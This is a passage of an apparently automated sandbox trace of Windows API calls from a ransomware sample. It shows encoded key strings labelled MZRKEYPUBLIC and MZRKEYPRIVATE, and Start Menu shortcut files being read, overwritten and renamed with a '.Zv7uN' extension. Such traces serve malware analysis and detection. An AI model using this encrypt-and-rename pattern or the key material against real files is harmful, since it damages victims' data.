lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.534] GetCurrentThreadId () returned 0xa30 [0132.534] GetCurrentThreadId () returned 0xa30 [0132.534] GetCurrentThreadId () returned 0xa30 [0132.534] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.535] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.535] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.535] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4f6 [0132.535] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.535] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4f6, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4f6, lpOverlapped=0x0) returned 1 [0132.654] CloseHandle (hObject=0x1e8) returned 1 [0132.654] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.656] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4f6, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4f6, lpOverlapped=0x0) returned 1 [0132.659] CloseHandle (hObject=0x1e8) returned 1 [0132.659] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk.zv7un")) returned 1 [0132.660] GetCurrentThreadId () returned 0xa30 [0132.660] GetCurrentThreadId () returned 0xa30 [0132.661] GetCurrentThreadId () returned 0xa30 [0132.661] GetCurrentThreadId () returned 0xa30 [0132.661] GetCurrentThreadId () returned 0xa30 [0132.661] GetCurrentThreadId () returned 0xa30 [0132.661] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa3aca9c, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa3aca9c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0132.661] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.661] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.661] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b8e0e72, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Event Viewer.lnk", cAlternateFileName="EVENTV~1.LNK")) returned 1 [0132.661] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.661] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.661] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b8e0e72, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x512)) returned 1 [0132.662] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk")) returned 0x20 [0132.662] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk", dwFileAttributes=0x80) returned 1 [0132.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.665] GetCurrentThreadId () returned 0xa30 [0132.665] GetCurrentThreadId () returned 0xa30 [0132.665] GetCurrentThreadId () returned 0xa30 [0132.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.666] GetCurrentThreadId () returned 0xa30 [0132.666] GetCurrentThreadId () returned 0xa30 [0132.666] GetCurrentThreadId () returned 0xa30 [0132.666] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.667] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.667] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.667] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x512 [0132.667] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, 